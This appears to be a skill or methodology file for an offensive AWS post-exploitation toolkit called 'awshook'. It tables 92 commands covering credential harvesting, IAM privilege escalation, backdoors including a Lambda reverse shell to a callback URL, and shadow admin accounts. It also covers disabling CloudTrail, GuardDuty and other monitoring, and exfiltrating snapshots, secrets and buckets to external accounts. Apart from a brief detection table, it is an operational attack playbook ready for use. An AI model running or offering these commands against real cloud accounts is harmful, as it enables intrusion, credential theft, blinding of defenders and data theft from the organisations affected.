Aws Postexploit

---
name: aws-postexploit
description: AWS post-exploitation — 92 programs for full kill chain from recon to cleanup via AWS CLI
category: post-exploitation
tags: [aws, cloud, post-exploitation, iam, s3, lambda, ssm, cloudtrail, credential-access, defense-evasion, persistence, lateral-movement, exfiltration, privesc]
tech_stack: [aws, aws-cli]
cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284, CWE-312, CWE-311, CWE-287, CWE-732, CWE-200, CWE-78, CWE-547]
chains_with: [T1078.004, T1530, T1537, T1562.008, T1098, T1059.009, T1552.005, T1087.004, T1580, T1021.007, T1525, T1609, T1555.006, T1070]
prerequisites: [T1078.004, T1552.005]
version: "2.2"
---

# AWS Post-Exploitation Methodology

92 programs across 7 categories for full AWS kill chain after compromising IAM credentials or EC2 instance. All tools use `aws` CLI natively — no Python/boto3 dependency.

## Prerequisites

1. **Valid AWS credentials** — access key + secret key, session token, or instance profile
2. **AWS CLI installed** — `aws --version`
3. **Current identity** — `aws sts get-caller-identity`

## Kill Chain Phases

### Phase 1 — Reconnaissance (23 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| IAM enumeration | `awshook iam_enum` | Users, roles, policies, privesc paths, wildcard analysis |
| EC2 enumeration | `awshook ec2_enum` | Instances, AMIs, security groups, key pairs, user-data secrets |
| S3 enumeration | `awshook s3_enum` | Buckets, policies, ACLs, encryption, public access |
| Lambda enumeration | `awshook lambda_enum` | Functions, layers, event sources, env var secrets |
| VPC enumeration | `awshook vpc_enum` | VPCs, subnets, routes, NATs, endpoints, peering |
| RDS enumeration | `awshook rds_enum` | Instances, clusters, snapshots, public access, encryption |
| ECS enumeration | `awshook ecs_enum` | Clusters, services, tasks, exec enabled, container env secrets |
| EKS enumeration | `awshook eks_enum` | Clusters, node groups, Fargate, OIDC, public endpoint |
| SSO enumeration | `awshook sso_enum` | SSO instances, permission sets, identity store |
| Org enumeration | `awshook org_enum` | Accounts, OUs, SCPs, delegated admins |
| Route53 enumeration | `awshook route53_enum` | Zones, records, health checks, subdomain takeover |
| Service recon | `awshook service_recon` | Account-wide service usage summary |
| CFN enumeration | `awshook cfn_enum` | Stacks, templates, secrets, parameters, outputs, IAM resources |
| API Gateway enum | `awshook apigw_enum` | REST/HTTP/WebSocket APIs, stages, API keys, authorizers |
| SNS/SQS enum | `awshook sns_sqs_enum` | Topics, subscriptions, queues, policies, encryption |
| CloudWatch enum | `awshook cloudwatch_enum` | Log groups, alarms, dashboards, custom metrics |
| ElastiCache enum | `awshook elasticache_enum` | Redis/Memcached auth, encryption, replication, snapshots |
| Redshift enum | `awshook redshift_enum` | Clusters, public access, encryption, audit logging, snapshots |
| Multi-region scan | `awshook multi_region_scan` | Shadow deployments across all enabled regions |
| KMS enum | `awshook kms_enum` | Customer-managed keys, policies (Principal:*), grants |
| OpenSearch enum | `awshook opensearch_enum` | Domains, public access, encryption, resource policies |
| EFS enum | `awshook efs_enum` | File systems, mount targets, SG analysis, encryption |
| ELB enum | `awshook elb_enum` | ALB/NLB/Classic, internet-facing, SSL policy, HTTP redirect |

### Phase 2 — Credential Harvesting (11 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| Metadata harvest | `awshook metadata_harvest` | EC2/ECS/Lambda metadata endpoint credentials (IMDSv1/v2) |
| Secrets dump | `awshook secrets_dump` | Secrets Manager + SSM Parameter Store extraction |
| Access key enum | `awshook access_key_enum` | All active keys with age, last-used, stale detection |
| Role credential | `awshook role_credential --role-arn ARN` | STS AssumeRole for temporary credentials |
| Federation token | `awshook federation_token` | Console access from programmatic credentials |
| ECR token | `awshook ecr_token` | ECR registry auth for container image access |
| Console login | `awshook console_login --user-name NAME` | Create/update IAM console login profile |
| Cognito token | `awshook cognito_token` | Cognito pool enum, client secrets, identity pool credentials |
| CFN secret extract | `awshook cfn_secret_extract` | Extract secrets from CFN parameters, templates, outputs |
| CodeCommit cred | `awshook codecommit_cred` | HTTPS Git/SSH credentials across IAM users |
| CI/CD secrets | `awshook ci_cd_secret_extract` | CodePipeline artifacts, CodeBuild env vars, CodeStar connections |

### Phase 3 — Privilege Escalation (10 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| IAM privesc | `awshook iam_privesc --method passrole` | PassRole/AssumeRole/AttachPolicy/CreateKey chains |
| Policy rollback | `awshook policy_version_rollback --policy-arn ARN --rollback` | Restore previous permissive policy version |
| Role chain | `awshook role_chain ARN1 ARN2 ARN3` | Multi-hop A→B→C cross-account/service escalation |
| Lambda privesc | `awshook lambda_privesc --role-arn ARN` | Lambda with high-priv role for code execution |
| Glue privesc | `awshook glue_privesc --role-arn ARN` | Glue job/dev endpoint with high-priv role |
| CFN privesc | `awshook cloudformation_privesc --role-arn ARN` | Stack with IAM resource creation |
| SSM privesc | `awshook ssm_privesc --instance-id ID` | RunCommand on high-priv instance profiles |
| EC2 privesc | `awshook ec2_privesc` | Launch EC2 with high-priv instance profile |
| Boundary bypass | `awshook permission_boundary_bypass` | Analyze and bypass permission boundaries |
| SageMaker privesc | `awshook sagemaker_privesc --role-arn ARN` | Notebook/training job with high-priv role |

### Phase 4 — Persistence (11 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| Lambda backdoor | `awshook lambda_backdoor --function-name NAME --callback-url URL` | Inject reverse shell layer |
| IAM backdoor | `awshook iam_backdoor` | Shadow admin with AdministratorAccess + keys + console |
| EventBridge | `awshook eventbridge_backdoor --target-arn ARN` | Scheduled Lambda/SSM execution |
| SSM document | `awshook ssm_document_backdoor --command CMD` | Custom command document for persistent exec |
| CodeBuild | `awshook codebuild_backdoor --role-arn ARN` | Project with credential exfil buildspec |
| AMI backdoor | `awshook ami_backdoor --instance-id ID` | AMI from compromised instance |
| Cross-account role | `awshook cross_account_role --external-account ACCT` | Trust role for external persistence |
| Cognito backdoor | `awshook cognito_backdoor --user-pool-id ID` | Admin user in Cognito pool |
| EC2 Instance Connect | `awshook ec2_instance_connect --instance-id ID` | SSH key push (60s window) |
| SSM State Manager | `awshook ssm_state_manager --command CMD --instance-id ID` | Scheduled association (stealth) |
| ECS scheduled task | `awshook ecs_scheduled_task --cluster C --task-definition DEF` | Serverless Fargate persistence |

### Phase 5 — Lateral Movement (8 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| SSM exec | `awshook ssm_exec --instance-id ID --command CMD` | EC2 command execution via SSM |
| ECS exec | `awshook ecs_exec --cluster C --task T --command CMD` | Container command execution |
| Cross-account enum | `awshook cross_account_enum --try-assume` | Trust relationships + assume attempts |
| VPC peering | `awshook vpc_peering_enum` | Peering connections for network pivoting |
| Transit gateway | `awshook transit_gateway_enum` | TGW attachments + cross-account routing |
| Lightsail exec | `awshook lightsail_exec --instance-name NAME --command CMD` | Lightsail instance access |
| Lambda exec | `awshook code_exec_lambda --function-name NAME` | Direct Lambda invocation |
| SSM Session | `awshook ssm_session --instance-id ID` | Interactive shell + port forwarding |

### Phase 6 — Defense Evasion (13 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| CloudTrail blind | `awshook cloudtrail_blind --action stop` | Stop/modify/delete CloudTrail logging |
| GuardDuty evade | `awshook guardduty_evade --action suspend` | Suspend detectors, archive findings, auto-suppress |
| Config disable | `awshook config_disable --action stop` | Stop AWS Config recorder |
| Flow log disable | `awshook vpc_flow_disable --action delete` | Delete VPC Flow Log subscriptions |
| Access Analyzer | `awshook access_analyzer_suppress --action archive` | Archive findings, delete analyzers |
| Security Hub | `awshook security_hub_suppress --action suppress` | Suppress findings or disable entirely |
| WAF bypass | `awshook waf_bypass` | Enumerate WAF rules, ACLs, IP sets |
| DNS Firewall | `awshook dns_firewall_disable --action disassociate` | Remove DNS Firewall from VPCs |
| CloudWatch tamper | `awshook cloudwatch_tamper --action delete` | Delete/reduce retention of log groups |
| Macie disable | `awshook macie_disable --action suspend` | Suspend/disable sensitive data discovery |
| Inspector disable | `awshook inspector_disable --action disable` | Disable vulnerability scanning |
| S3 logging disable | `awshook s3_logging_disable --action disable_access_log` | Disable S3 access logging + object-level CloudTrail |
| CloudTrail selector | `awshook cloudtrail_selector_tamper --action exclude_kms` | Surgical event selector modification (stealthier than stopping) |

### Phase 7 — Exfiltration & Cleanup (16 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| S3 dump | `awshook s3_dump --bucket B --download` | Sensitive file discovery and download |
| EBS snapshot | `awshook ec2_snapshot --volume-id VOL --share-account ACCT` | Snapshot with cross-account sharing |
| RDS dump | `awshook rds_dump --db-identifier ID --share-account ACCT` | RDS snapshot, share, restore |
| DynamoDB dump | `awshook dynamodb_dump --table-name T` | Table scan with secret detection |
| EBS direct read | `awshook ebs_direct_read --snapshot-id SNAP` | Block-level read without EC2 |
| S3 exfil | `awshook s3_exfil --bucket B --external-account A` | Modify bucket policy for external access |
| Data stage | `awshook data_stage --source PATH --dest-bucket B` | Compress and stage to attacker S3 |
| **Cleanup** | `awshook cleanup_aws` | **ALWAYS run — removes all CyberStrike resources** |
| CodeCommit dump | `awshook codecommit_dump --repo NAME` | Repo clone with secret file extraction |
| ECR dump | `awshook ecr_dump --repository NAME` | Container images, vulns, auth tokens |
| Athena query | `awshook athena_query --query-string SQL` | SQL query against S3 data lakes |
| Secrets bulk export | `awshook secrets_bulk_export` | Bulk extract all secrets with S3 staging |
| Backup vault enum | `awshook backup_vault_enum` | AWS Backup vaults, recovery points, cross-account sharing |
| CloudWatch logs dump | `awshook cloudwatch_logs_dump --log-group NAME` | Export CloudWatch logs to S3 for offline analysis |
| SNS/SQS siphon | `awshook sns_sqs_siphon --topic-arn ARN` | Intercept SNS subscriptions and SQS messages |
| Kinesis tap | `awshook kinesis_tap --stream-name NAME` | Tap Kinesis data streams for real-time interception |

## Detection Considerations

| Service | What it catches |
|---------|-----------------|
| CloudTrail | All API calls (unless blinded): CreateAccessKey, AttachUserPolicy, CreateFunction, StopLogging, AssumeRole |
| GuardDuty | Anomalous IAM behavior, credential exfiltration, unusual API patterns, policy changes |
| AWS Config | Configuration changes for IAM, Lambda, CloudTrail, VPC, Security Groups |
| Access Analyzer | External access to S3, IAM, Lambda, SQS, SNS, KMS |
| Security Hub | Aggregated findings from all security services |
| VPC Flow Logs | Network traffic patterns for lateral movement detection |
| DNS Firewall | DNS-based exfiltration attempts |

## Program Reference

| Program | MITRE ATT&CK | CWE |
|---------|--------------|-----|
| iam_enum | T1087.004 Cloud Account | CWE-269 |
| ec2_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| s3_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| lambda_enum | T1580 Cloud Infrastructure Discovery | CWE-312 |
| vpc_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| rds_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| ecs_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| eks_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| sso_enum | T1087.004 Cloud Account | CWE-269 |
| org_enum | T1580 Cloud Infrastructure Discovery | CWE-200 |
| route53_enum | T1596 Search Open Technical Databases | CWE-284 |
| service_recon | T1580 Cloud Infrastructure Discovery | CWE-200 |
| cfn_enum | T1580 Cloud Infrastructure Discovery | CWE-312 |
| apigw_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| sns_sqs_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| cloudwatch_enum | T1580 Cloud Infrastructure Discovery | CWE-200 |
| elasticache_enum | T1580 Cloud Infrastructure Discovery | CWE-287 |
| redshift_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| multi_region_scan | T1580 Cloud Infrastructure Discovery | CWE-200 |
| kms_enum | T1580 Cloud Infrastructure Discovery | CWE-732 |
| opensearch_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| efs_enum | T1580 Cloud Infrastructure Discovery | CWE-311 |
| elb_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| metadata_harvest | T1552.005 Cloud Instance Metadata API | CWE-522 |
| secrets_dump | T1555.006 Cloud Secrets Management Stores | CWE-522 |
| access_key_enum | T1087.004 Cloud Account | CWE-522 |
| role_credential | T1078.004 Cloud Accounts | CWE-522 |
| federation_token | T1078.004 Cloud Accounts | CWE-522 |
| ecr_token | T1552.001 Credentials In Files | CWE-522 |
| console_login | T1098 Account Manipulation | CWE-522 |
| cognito_token | T1078.004 Cloud Accounts | CWE-287 |
| cfn_secret_extract | T1552.001 Credentials In Files | CWE-312 |
| codecommit_cred | T1552.001 Credentials In Files | CWE-522 |
| ci_cd_secret_extract | T1552.001 Credentials In Files | CWE-312 |
| iam_privesc | T1098 Account Manipulation | CWE-269 |
| policy_version_rollback | T1098 Account Manipulation | CWE-269 |
| role_chain | T1078.004 Cloud Accounts | CWE-269 |
| lambda_privesc | T1098 Account Manipulation | CWE-269 |
| glue_privesc | T1098 Account Manipulation | CWE-269 |
| cloudformation_privesc | T1098 Account Manipulation | CWE-269 |
| ssm_privesc | T1098 Account Manipulation | CWE-269 |
| ec2_privesc | T1098 Account Manipulation | CWE-269 |
| permission_boundary_bypass | T1098 Account Manipulation | CWE-732 |
| sagemaker_privesc | T1098 Account Manipulation | CWE-269 |
| lambda_backdoor | T1525 Implant Internal Image | CWE-547 |
| iam_backdoor | T1098.001 Additional Cloud Credentials | CWE-547 |
| eventbridge_backdoor | T1053.007 Container Orchestration Job | CWE-547 |
| ssm_document_backdoor | T1059.009 Cloud API | CWE-547 |
| codebuild_backdoor | T1053.007 Container Orchestration Job | CWE-547 |
| ami_backdoor | T1525 Implant Internal Image | CWE-547 |
| cross_account_role | T1098.001 Additional Cloud Credentials | CWE-284 |
| cognito_backdoor | T1098.001 Additional Cloud Credentials | CWE-547 |
| ec2_instance_connect | T1098.004 SSH Authorized Keys | CWE-284 |
| ssm_state_manager | T1053.005 Scheduled Task | CWE-547 |
| ecs_scheduled_task | T1053.007 Container Orchestration Job | CWE-547 |
| ssm_exec | T1021.007 Cloud Services | CWE-78 |
| ecs_exec | T1609 Container Administration Command | CWE-78 |
| cross_account_enum | T1087.004 Cloud Account | CWE-284 |
| vpc_peering_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| transit_gateway_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| lightsail_exec | T1021.007 Cloud Services | CWE-522 |
| code_exec_lambda | T1059.009 Cloud API | CWE-78 |
| ssm_session | T1021.007 Cloud Services | CWE-284 |
| cloudtrail_blind | T1562.008 Disable Cloud Logs | CWE-693 |
| guardduty_evade | T1562.008 Disable Cloud Logs | CWE-693 |
| config_disable | T1562.008 Disable Cloud Logs | CWE-693 |
| vpc_flow_disable | T1562.008 Disable Cloud Logs | CWE-693 |
| access_analyzer_suppress | T1562.008 Disable Cloud Logs | CWE-693 |
| security_hub_suppress | T1562.008 Disable Cloud Logs | CWE-693 |
| waf_bypass | T1562.001 Disable or Modify Tools | CWE-693 |
| dns_firewall_disable | T1562.001 Disable or Modify Tools | CWE-693 |
| cloudwatch_tamper | T1070.002 Clear Linux or Mac System Logs | CWE-693 |
| macie_disable | T1562.008 Disable Cloud Logs | CWE-693 |
| inspector_disable | T1562.008 Disable Cloud Logs | CWE-693 |
| s3_logging_disable | T1562.008 Disable Cloud Logs | CWE-693 |
| cloudtrail_selector_tamper | T1562.008 Disable Cloud Logs | CWE-693 |
| s3_dump | T1530 Data from Cloud Storage | CWE-200 |
| ec2_snapshot | T1537 Transfer Data to Cloud Account | CWE-200 |
| rds_dump | T1530 Data from Cloud Storage | CWE-200 |
| dynamodb_dump | T1530 Data from Cloud Storage | CWE-200 |
| ebs_direct_read | T1530 Data from Cloud Storage | CWE-200 |
| s3_exfil | T1537 Transfer Data to Cloud Account | CWE-284 |
| data_stage | T1074.002 Remote Data Staging | CWE-200 |
| codecommit_dump | T1213.003 Code Repositories | CWE-200 |
| ecr_dump | T1530 Data from Cloud Storage | CWE-200 |
| athena_query | T1530 Data from Cloud Storage | CWE-200 |
| secrets_bulk_export | T1555.006 Cloud Secrets Management Stores | CWE-200 |
| backup_vault_enum | T1530 Data from Cloud Storage | CWE-284 |
| cloudwatch_logs_dump | T1530 Data from Cloud Storage | CWE-200 |
| sns_sqs_siphon | T1530 Data from Cloud Storage | CWE-200 |
| kinesis_tap | T1530 Data from Cloud Storage | CWE-200 |
| cleanup_aws | T1070 Indicator Removal | — |